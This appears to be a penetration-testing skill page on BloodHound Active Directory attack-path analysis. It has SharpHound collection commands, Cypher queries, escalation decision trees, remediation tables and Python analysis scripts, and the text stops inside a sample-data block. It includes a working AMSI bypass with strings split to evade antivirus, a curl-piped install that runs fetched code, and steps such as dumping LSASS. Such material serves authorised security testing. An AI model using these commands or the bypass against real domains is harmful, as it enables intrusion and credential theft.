npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
Overview
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
When to Use
- When conducting security assessments that involve performing active directory bloodhound analysis
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Initial foothold on a domain-joined Windows system (or valid domain credentials)
- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
- SharpHound collector (C# binary or PowerShell module)
- Neo4j database (Legacy) or PostgreSQL (CE)
- Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |
| T1018 | Remote System Discovery | Discovery |
| T1482 | Domain Trust Discovery | Discovery |
| T1615 | Group Policy Discovery | Discovery |
| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |
Step 1: Data Collection with SharpHound
SharpHound.exe (Preferred for OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\TempInvoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHoundStep 2: Import Data into BloodHound
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select FileBloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUIStep 3: Attack Path Analysis
Pre-Built Queries (Most Critical)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.nameCustom Cypher Queries
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.nameStep 4: Common Attack Paths
Path 1: Kerberoasting to DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain AdminPath 2: ACL Abuse Chain
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain AdminPath 3: Unconstrained Delegation
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSyncPath 4: GPO Abuse
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEMStep 5: Remediation Recommendations
| Finding | Risk | Remediation |
|---|---|---|
| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |
| Unconstrained Delegation | Critical | Migrate to constrained/RBCD delegation |
| Domain Users local admin | High | Remove DA from local admin, use LAPS |
| Excessive ACL permissions | High | Audit and reduce GenericAll/WriteDACL |
| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |
| Cross-domain trust abuse | High | Review trust direction and SID filtering |
References
- BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
- BloodHound CE: https://github.com/SpecterOps/BloodHound
- SharpHound: https://github.com/BloodHoundAD/SharpHound
- MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
- SpecterOps BloodHound Documentation: https://bloodhound.readthedocs.io/
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.5 KB
API Reference: BloodHound AD Attack Path Analysis
neo4j Python Driver
from neo4j import GraphDatabase
driver = GraphDatabase.driver(uri, auth=(user, password))
driver.verify_connectivity()
with driver.session() as session:
results = session.run(query, parameters)
records = [dict(record) for record in results]
driver.close()Key BloodHound Cypher Queries
Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, u.enabledShortest Path to DA
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group))
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, length(p) AS hops ORDER BY hopsKerberoastable Users
MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true
RETURN u.name, u.serviceprincipalnamesUnconstrained Delegation
MATCH (c:Computer) WHERE c.unconstraineddelegation=true
RETURN c.name, c.operatingsystemBloodHound Node Types
| Node | Properties |
|---|---|
| User | name, enabled, hasspn, admincount, owned, dontreqpreauth |
| Computer | name, operatingsystem, unconstraineddelegation, enabled |
| Group | name, admincount, objectid |
| GPO | name, gpcpath |
| OU | name, guid |
BloodHound Edge Types
| Edge | Meaning |
|---|---|
| MemberOf | Group membership |
| AdminTo | Local admin rights |
| HasSession | Active session on computer |
| GenericAll | Full object control |
| WriteDacl | Can modify ACL |
| GpLink | GPO linked to OU |
standards.md2.3 KB
Standards and References: BloodHound AD Analysis
MITRE ATT&CK Techniques
Discovery (TA0007)
- T1087.002 - Account Discovery: Domain Account
- T1069.001 - Permission Groups Discovery: Local Groups
- T1069.002 - Permission Groups Discovery: Domain Groups
- T1018 - Remote System Discovery
- T1482 - Domain Trust Discovery
- T1615 - Group Policy Discovery
- T1016 - System Network Configuration Discovery
- T1049 - System Network Connections Discovery
- T1033 - System Owner/User Discovery
Lateral Movement (TA0008) - Paths Identified by BloodHound
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1021.002 - Remote Services: SMB/Windows Admin Shares
- T1021.001 - Remote Services: Remote Desktop Protocol
- T1021.006 - Remote Services: Windows Remote Management
Credential Access (TA0006) - Attacks Enabled by BloodHound
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
Privilege Escalation (TA0004)
- T1484.001 - Domain Policy Modification: Group Policy Modification
- T1078.002 - Valid Accounts: Domain Accounts
- T1134 - Access Token Manipulation
BloodHound Software Entry
- MITRE ATT&CK ID: S0521
- Type: Tool
- Platforms: Windows, Azure AD
- Associated Groups: FIN7, APT29, Wizard Spider
NIST References
- NIST SP 800-53 Rev. 5 - AC-6: Least Privilege
- NIST SP 800-53 Rev. 5 - AC-2: Account Management
- NIST SP 800-53 Rev. 5 - IA-5: Authenticator Management
- NIST SP 800-171 - 3.1.5: Least Privilege
CIS Benchmarks
- CIS Microsoft Windows Server 2022 - Section 2.3.10: Network access
- CIS Active Directory Benchmark - Section 1: Account Policies
- CIS Controls v8 - Control 6: Access Control Management
- CIS Controls v8 - Control 5: Account Management
Active Directory Security Hardening Standards
- Microsoft Tier Model for Active Directory Administration
- Microsoft Privileged Access Workstation (PAW) Architecture
- ANSSI Active Directory Security Hardening Guide
- ASD Essential Eight: Restrict Administrative Privileges
workflows.md7.6 KB
Workflows: BloodHound AD Analysis
BloodHound Analysis Workflow
┌─────────────────────────────────────────────────────────────────┐
│ BLOODHOUND ANALYSIS WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. DATA COLLECTION │
│ ├── Select collector (SharpHound/AzureHound) │
│ ├── Choose collection method │
│ │ ├── All (comprehensive, noisy) │
│ │ ├── DCOnly (LDAP only, stealthier) │
│ │ ├── Session (user sessions on computers) │
│ │ └── ACL (permission relationships) │
│ ├── Execute collection │
│ └── Exfiltrate ZIP to analysis workstation │
│ │
│ 2. DATA IMPORT │
│ ├── Start BloodHound CE/Neo4j │
│ ├── Upload collection ZIP │
│ ├── Verify node counts (Users, Computers, Groups) │
│ └── Mark owned principals and high-value targets │
│ │
│ 3. INITIAL ANALYSIS │
│ ├── Run pre-built analytics │
│ │ ├── Find all Domain Admins │
│ │ ├── Find Kerberoastable accounts │
│ │ ├── Find AS-REP Roastable accounts │
│ │ ├── Find unconstrained delegation │
│ │ └── Find shortest paths to DA │
│ ├── Identify high-value targets │
│ └── Document initial findings │
│ │
│ 4. ATTACK PATH IDENTIFICATION │
│ ├── Mark owned nodes │
│ ├── Shortest path from owned to DA │
│ ├── Analyze ACL abuse paths │
│ │ ├── GenericAll / GenericWrite │
│ │ ├── WriteDACL / WriteOwner │
│ │ ├── ForceChangePassword │
│ │ └── AddMember │
│ ├── Analyze delegation abuse │
│ ├── Analyze GPO abuse paths │
│ └── Prioritize attack paths by feasibility │
│ │
│ 5. EXPLOITATION │
│ ├── Execute selected attack path │
│ ├── Kerberoast service accounts │
│ ├── Abuse ACL misconfigurations │
│ ├── Leverage delegation settings │
│ └── Mark newly owned principals │
│ │
│ 6. REPORTING │
│ ├── Export attack path screenshots │
│ ├── Document each hop in attack chain │
│ ├── Map to MITRE ATT&CK techniques │
│ ├── Provide remediation for each finding │
│ └── Generate AD hardening recommendations │
│ │
└─────────────────────────────────────────────────────────────────┘SharpHound Collection Method Selection
Collection Method Decision
│
├── Need comprehensive data?
│ └── Use -c All (Collects everything)
│ Warning: Noisy, generates LDAP and SMB traffic
│
├── Need stealth?
│ └── Use -c DCOnly (Queries only DCs via LDAP)
│ Limitation: No session or local group data
│
├── Need session data over time?
│ └── Use -c Session --loop
│ Best for: Finding where admins are logged in
│
├── Azure AD environment?
│ └── Use AzureHound
│ Collects: Roles, App Registrations, Service Principals
│
└── Minimal footprint needed?
└── Use -c Group,ACL
Collects: Group memberships and ACL relationships onlyAttack Path Exploitation Decision Tree
BloodHound Shows Path to DA
│
├── Path via Kerberoastable account?
│ ├── Request TGS ticket (Rubeus/GetUserSPNs)
│ ├── Crack with hashcat (-m 13100)
│ └── Use cracked credential to continue path
│
├── Path via ACL abuse?
│ ├── GenericAll on user? → ForceChangePassword
│ ├── GenericAll on group? → Add self to group
│ ├── WriteDACL? → Grant self GenericAll, then abuse
│ ├── WriteOwner? → Change owner, then modify DACL
│ └── AddMember? → Add self to privileged group
│
├── Path via delegation?
│ ├── Unconstrained? → Coerce DC auth + capture TGT
│ ├── Constrained? → S4U2Self + S4U2Proxy abuse
│ └── RBCD? → Configure msDS-AllowedToActOnBehalf
│
├── Path via GPO?
│ ├── GenericWrite on GPO? → Add scheduled task
│ └── GpLink control? → Link malicious GPO to OU
│
└── Path via session?
├── Admin on computer with DA session?
├── Dump LSASS for DA credentials
└── Or steal token/ticketBloodHound Edge Reference
| Edge Type | Meaning | Abuse Method |
|---|---|---|
| MemberOf | Group membership | Inherit group permissions |
| AdminTo | Local admin rights | PsExec, WMI, WinRM |
| HasSession | User logged in | Credential theft |
| GenericAll | Full control | Reset password, modify object |
| GenericWrite | Write properties | Set SPN, modify attributes |
| WriteDacl | Modify permissions | Grant self full control |
| WriteOwner | Change owner | Take ownership then WriteDacl |
| ForceChangePassword | Reset password | Change user password |
| AddMember | Add to group | Add self to privileged group |
| AllowedToDelegate | Constrained delegation | S4U2Proxy abuse |
| AllowedToAct | RBCD | Resource-based constrained delegation |
| CanRDP | RDP access | Remote desktop connection |
| CanPSRemote | WinRM access | PowerShell remoting |
| ExecuteDCOM | DCOM execution | Remote code execution |
| GPLink | GPO linked to OU | Modify GPO for code execution |
Scripts 2
agent.py7.1 KB
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""BloodHound Attack Path Analysis Agent - Queries Neo4j for AD attack paths to Domain Admin."""
import json
import logging
import argparse
from datetime import datetime
from neo4j import GraphDatabase
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def connect_neo4j(uri, username, password):
"""Connect to Neo4j database containing BloodHound data."""
driver = GraphDatabase.driver(uri, auth=(username, password))
driver.verify_connectivity()
logger.info("Connected to Neo4j at %s", uri)
return driver
def find_domain_admins(driver):
"""Find all members of the Domain Admins group."""
query = (
"MATCH (u:User)-[:MemberOf*1..]->(g:Group) "
"WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
"RETURN u.name AS user, u.enabled AS enabled, u.lastlogon AS lastlogon"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query)]
logger.info("Found %d Domain Admin members", len(results))
return results
def find_shortest_paths_to_da(driver, start_user=None):
"""Find shortest attack paths from owned users to Domain Admin."""
if start_user:
query = (
"MATCH p=shortestPath((u:User {name: $user})-[*1..]->(g:Group)) "
"WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
"RETURN p, length(p) AS hops"
)
params = {"user": start_user}
else:
query = (
"MATCH p=shortestPath((u:User {owned: true})-[*1..]->(g:Group)) "
"WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
"RETURN u.name AS start, length(p) AS hops "
"ORDER BY hops ASC LIMIT 20"
)
params = {}
with driver.session() as session:
results = [dict(record) for record in session.run(query, params)]
logger.info("Found %d attack paths to DA", len(results))
return results
def find_kerberoastable_users(driver):
"""Find users with SPNs set (Kerberoastable) that have paths to high-value targets."""
query = (
"MATCH (u:User) WHERE u.hasspn = true AND u.enabled = true "
"RETURN u.name AS user, u.serviceprincipalnames AS spns, "
"u.admincount AS admincount, u.pwdlastset AS pwdlastset"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query)]
logger.info("Found %d Kerberoastable users", len(results))
return results
def find_asrep_roastable(driver):
"""Find users with Kerberos pre-auth disabled (AS-REP Roastable)."""
query = (
"MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true "
"RETURN u.name AS user, u.enabled AS enabled"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query)]
logger.info("Found %d AS-REP Roastable users", len(results))
return results
def find_unconstrained_delegation(driver):
"""Find computers with unconstrained delegation enabled."""
query = (
"MATCH (c:Computer) WHERE c.unconstraineddelegation = true "
"RETURN c.name AS computer, c.operatingsystem AS os, c.enabled AS enabled"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query)]
logger.info("Found %d unconstrained delegation computers", len(results))
return results
def find_local_admin_paths(driver, target_computer):
"""Find users with local admin rights on a target computer."""
query = (
"MATCH p=(u:User)-[:AdminTo|MemberOf*1..]->(c:Computer {name: $computer}) "
"RETURN u.name AS user, length(p) AS hops "
"ORDER BY hops ASC LIMIT 50"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query, {"computer": target_computer})]
logger.info("Found %d users with admin access to %s", len(results), target_computer)
return results
def find_gpo_attack_paths(driver):
"""Find GPO-based attack paths that could lead to privilege escalation."""
query = (
"MATCH (g:GPO)-[:GpLink]->(ou:OU)-[:Contains*1..]->(c:Computer) "
"MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g) "
"WHERE u.enabled = true "
"RETURN u.name AS user, g.name AS gpo, c.name AS affected_computer "
"LIMIT 50"
)
with driver.session() as session:
results = [dict(record) for record in session.run(query)]
logger.info("Found %d GPO attack paths", len(results))
return results
def assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths):
"""Calculate overall AD security risk score."""
score = 0
if len(paths) > 0:
score += 30
if len(kerberoastable) > 5:
score += 20
if len(asrep) > 0:
score += 15
if len(unconstrained) > 1:
score += 15
if len(gpo_paths) > 0:
score += 20
risk = "Critical" if score >= 60 else "High" if score >= 40 else "Medium" if score >= 20 else "Low"
return {"score": score, "risk_level": risk}
def generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk):
"""Generate BloodHound analysis report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"domain_admins": da_members,
"attack_paths_to_da": paths[:20],
"kerberoastable_users": kerberoastable,
"asrep_roastable": asrep,
"unconstrained_delegation": unconstrained,
"gpo_attack_paths": gpo_paths[:20],
"risk_assessment": risk,
}
print(f"BLOODHOUND REPORT: Risk={risk['risk_level']} Score={risk['score']}")
return report
def main():
parser = argparse.ArgumentParser(description="BloodHound Attack Path Analysis Agent")
parser.add_argument("--neo4j-uri", default="bolt://localhost:7687")
parser.add_argument("--neo4j-user", default="neo4j")
parser.add_argument("--neo4j-password", required=True)
parser.add_argument("--start-user", help="Specific user to find paths from")
parser.add_argument("--output", default="bloodhound_report.json")
args = parser.parse_args()
driver = connect_neo4j(args.neo4j_uri, args.neo4j_user, args.neo4j_password)
da_members = find_domain_admins(driver)
paths = find_shortest_paths_to_da(driver, args.start_user)
kerberoastable = find_kerberoastable_users(driver)
asrep = find_asrep_roastable(driver)
unconstrained = find_unconstrained_delegation(driver)
gpo_paths = find_gpo_attack_paths(driver)
risk = assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths)
report = generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk)
driver.close()
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
process.py16.4 KB
#!/usr/bin/env python3
"""
BloodHound Data Analyzer
Parses BloodHound JSON collection data to identify high-risk attack paths,
Kerberoastable accounts, ACL misconfigurations, and delegation abuse
opportunities without requiring the BloodHound GUI.
"""
import json
import os
import sys
from collections import defaultdict
from dataclasses import dataclass, field
from typing import Optional
@dataclass
class ADUser:
name: str
enabled: bool = True
has_spn: bool = False
dont_req_preauth: bool = False
admin_count: bool = False
password_last_set: str = ""
last_logon: str = ""
description: str = ""
sid: str = ""
@dataclass
class ADComputer:
name: str
os: str = ""
enabled: bool = True
unconstrained_delegation: bool = False
allowed_to_delegate: list = field(default_factory=list)
local_admins: list = field(default_factory=list)
has_sessions: list = field(default_factory=list)
@dataclass
class ADGroup:
name: str
members: list = field(default_factory=list)
high_value: bool = False
sid: str = ""
@dataclass
class Finding:
severity: str # critical, high, medium, low
category: str
title: str
description: str
affected_objects: list = field(default_factory=list)
attack_path: str = ""
remediation: str = ""
mitre_technique: str = ""
class BloodHoundAnalyzer:
"""Analyze BloodHound collection data for attack paths."""
def __init__(self):
self.users: dict[str, ADUser] = {}
self.computers: dict[str, ADComputer] = {}
self.groups: dict[str, ADGroup] = {}
self.acl_edges: list[dict] = []
self.findings: list[Finding] = []
self.domain_admins: set = set()
def load_bloodhound_data(self, data_dir: str) -> None:
"""Load BloodHound JSON files from collection directory."""
for filename in os.listdir(data_dir):
filepath = os.path.join(data_dir, filename)
if not filename.endswith(".json"):
continue
with open(filepath) as f:
try:
data = json.load(f)
except json.JSONDecodeError:
print(f"[-] Failed to parse {filename}")
continue
if "users" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "users"):
self._parse_users(data)
elif "computers" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "computers"):
self._parse_computers(data)
elif "groups" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "groups"):
self._parse_groups(data)
print(f"[+] Loaded: {len(self.users)} users, {len(self.computers)} computers, {len(self.groups)} groups")
def _parse_users(self, data: dict) -> None:
"""Parse user data from BloodHound JSON."""
items = data.get("data", data) if isinstance(data, dict) else data
if isinstance(items, dict):
items = items.get("data", [])
for user_data in items:
props = user_data.get("Properties", user_data.get("properties", {}))
name = props.get("name", user_data.get("name", "unknown"))
user = ADUser(
name=name,
enabled=props.get("enabled", True),
has_spn=props.get("hasspn", False),
dont_req_preauth=props.get("dontreqpreauth", False),
admin_count=props.get("admincount", False),
password_last_set=str(props.get("pwdlastset", "")),
last_logon=str(props.get("lastlogon", "")),
description=props.get("description", ""),
sid=props.get("objectid", props.get("objectsid", "")),
)
self.users[name.upper()] = user
def _parse_computers(self, data: dict) -> None:
"""Parse computer data from BloodHound JSON."""
items = data.get("data", data) if isinstance(data, dict) else data
if isinstance(items, dict):
items = items.get("data", [])
for comp_data in items:
props = comp_data.get("Properties", comp_data.get("properties", {}))
name = props.get("name", comp_data.get("name", "unknown"))
computer = ADComputer(
name=name,
os=props.get("operatingsystem", ""),
enabled=props.get("enabled", True),
unconstrained_delegation=props.get("unconstraineddelegation", False),
allowed_to_delegate=props.get("allowedtodelegate", []) or [],
)
self.computers[name.upper()] = computer
def _parse_groups(self, data: dict) -> None:
"""Parse group data from BloodHound JSON."""
items = data.get("data", data) if isinstance(data, dict) else data
if isinstance(items, dict):
items = items.get("data", [])
for group_data in items:
props = group_data.get("Properties", group_data.get("properties", {}))
name = props.get("name", group_data.get("name", "unknown"))
members_raw = group_data.get("Members", group_data.get("members", []))
members = [m.get("MemberId", m.get("ObjectIdentifier", "")) for m in members_raw] if members_raw else []
group = ADGroup(
name=name,
members=members,
high_value=props.get("highvalue", False),
sid=props.get("objectid", ""),
)
self.groups[name.upper()] = group
if "DOMAIN ADMINS" in name.upper():
self.domain_admins = set(members)
def find_kerberoastable_accounts(self) -> list[Finding]:
"""Identify Kerberoastable service accounts."""
kerberoastable = [u for u in self.users.values() if u.has_spn and u.enabled]
findings = []
if kerberoastable:
privileged_kerberoastable = [
u for u in kerberoastable if u.admin_count
]
findings.append(Finding(
severity="critical" if privileged_kerberoastable else "high",
category="Kerberoasting",
title=f"Found {len(kerberoastable)} Kerberoastable Accounts",
description=(
f"{len(kerberoastable)} enabled user accounts have Service Principal Names (SPNs) "
f"set, making them vulnerable to Kerberoasting (T1558.003). "
f"{len(privileged_kerberoastable)} of these are privileged accounts."
),
affected_objects=[u.name for u in kerberoastable],
attack_path="GetUserSPNs.py -> Request TGS -> Crack offline with hashcat -m 13100",
remediation=(
"1. Use Group Managed Service Accounts (gMSA) where possible\n"
"2. Set 25+ character passwords on service accounts\n"
"3. Enable AES encryption only (disable RC4)\n"
"4. Monitor Event ID 4769 for anomalous TGS requests"
),
mitre_technique="T1558.003",
))
return findings
def find_asrep_roastable_accounts(self) -> list[Finding]:
"""Identify AS-REP Roastable accounts."""
asrep = [u for u in self.users.values() if u.dont_req_preauth and u.enabled]
findings = []
if asrep:
findings.append(Finding(
severity="high",
category="AS-REP Roasting",
title=f"Found {len(asrep)} AS-REP Roastable Accounts",
description=(
f"{len(asrep)} accounts have 'Do not require Kerberos pre-authentication' "
f"enabled, allowing offline password cracking (T1558.004)."
),
affected_objects=[u.name for u in asrep],
attack_path="GetNPUsers.py -> Request AS-REP -> Crack with hashcat -m 18200",
remediation=(
"1. Enable Kerberos pre-authentication for all accounts\n"
"2. Use strong passwords (25+ characters) on affected accounts\n"
"3. Monitor Event ID 4768 with pre-auth type 0"
),
mitre_technique="T1558.004",
))
return findings
def find_unconstrained_delegation(self) -> list[Finding]:
"""Identify computers with unconstrained delegation."""
unconstrained = [
c for c in self.computers.values()
if c.unconstrained_delegation and c.enabled
and "DOMAIN CONTROLLER" not in c.name.upper()
]
findings = []
if unconstrained:
findings.append(Finding(
severity="critical",
category="Delegation Abuse",
title=f"Found {len(unconstrained)} Non-DC Computers with Unconstrained Delegation",
description=(
f"{len(unconstrained)} computers (excluding DCs) have unconstrained delegation "
f"enabled. An attacker with admin access to these systems can capture TGTs "
f"from any user that authenticates to them, including Domain Admins."
),
affected_objects=[c.name for c in unconstrained],
attack_path=(
"Compromise unconstrained host -> Coerce DC auth (PetitPotam/PrinterBug) -> "
"Capture DC TGT with Rubeus monitor -> DCSync"
),
remediation=(
"1. Remove unconstrained delegation from non-DC computers\n"
"2. Migrate to constrained delegation or RBCD\n"
"3. Add sensitive accounts to 'Protected Users' group\n"
"4. Enable 'Account is sensitive and cannot be delegated'"
),
mitre_technique="T1558.001",
))
return findings
def find_constrained_delegation(self) -> list[Finding]:
"""Identify constrained delegation abuse opportunities."""
constrained = [
c for c in self.computers.values()
if c.allowed_to_delegate and c.enabled
]
findings = []
if constrained:
findings.append(Finding(
severity="high",
category="Delegation Abuse",
title=f"Found {len(constrained)} Computers with Constrained Delegation",
description=(
f"{len(constrained)} computers have constrained delegation configured. "
f"If protocol transition is enabled (TrustedToAuthForDelegation), an attacker "
f"can abuse S4U2Self and S4U2Proxy to impersonate any user to the target service."
),
affected_objects=[
f"{c.name} -> {', '.join(c.allowed_to_delegate)}" for c in constrained
],
remediation=(
"1. Review all constrained delegation configurations\n"
"2. Disable protocol transition where not needed\n"
"3. Use RBCD instead of traditional constrained delegation\n"
"4. Add sensitive accounts to 'Protected Users' group"
),
mitre_technique="T1550.003",
))
return findings
def run_full_analysis(self) -> list[Finding]:
"""Run all analysis checks and return findings."""
self.findings = []
self.findings.extend(self.find_kerberoastable_accounts())
self.findings.extend(self.find_asrep_roastable_accounts())
self.findings.extend(self.find_unconstrained_delegation())
self.findings.extend(self.find_constrained_delegation())
# Sort by severity
severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
self.findings.sort(key=lambda f: severity_order.get(f.severity, 99))
return self.findings
def generate_report(self) -> str:
"""Generate analysis report."""
lines = []
lines.append("=" * 70)
lines.append("BLOODHOUND ACTIVE DIRECTORY ANALYSIS REPORT")
lines.append("=" * 70)
lines.append(f"\nDomain Statistics:")
lines.append(f" Users: {len(self.users)}")
lines.append(f" Computers: {len(self.computers)}")
lines.append(f" Groups: {len(self.groups)}")
lines.append(f" Findings: {len(self.findings)}")
# Summary by severity
sev_counts = defaultdict(int)
for f in self.findings:
sev_counts[f.severity] += 1
lines.append(f"\n Critical: {sev_counts['critical']}")
lines.append(f" High: {sev_counts['high']}")
lines.append(f" Medium: {sev_counts['medium']}")
lines.append(f" Low: {sev_counts['low']}")
lines.append("\n" + "=" * 70)
lines.append("DETAILED FINDINGS")
lines.append("=" * 70)
for i, finding in enumerate(self.findings, 1):
lines.append(f"\n--- Finding #{i}: [{finding.severity.upper()}] {finding.title} ---")
lines.append(f"Category: {finding.category}")
lines.append(f"MITRE ATT&CK: {finding.mitre_technique}")
lines.append(f"\nDescription:\n {finding.description}")
lines.append(f"\nAttack Path:\n {finding.attack_path}")
lines.append(f"\nAffected Objects ({len(finding.affected_objects)}):")
for obj in finding.affected_objects[:10]:
lines.append(f" - {obj}")
if len(finding.affected_objects) > 10:
lines.append(f" ... and {len(finding.affected_objects) - 10} more")
lines.append(f"\nRemediation:\n {finding.remediation}")
return "\n".join(lines)
def main():
"""Demonstrate BloodHound data analysis."""
analyzer = BloodHoundAnalyzer()
# Create sample data for demonstration
sample_users = {
"meta": {"type": "users"},
"data": [
{"Properties": {"name": "SVC_SQL@CORP.LOCAL", "enabled": True, "hasspn": True,
"dontreqpreauth": False, "admincount": True, "description": "SQL Service Account"}},
{"Properties": {"name": "SVC_WEB@CORP.LOCAL", "enabled": True, "hasspn": True,
"dontreqpreauth": False, "admincount": False, "description": "Web Service"}},
{"Properties": {"name": "SVC_BACKUP@CORP.LOCAL", "enabled": True, "hasspn": True,
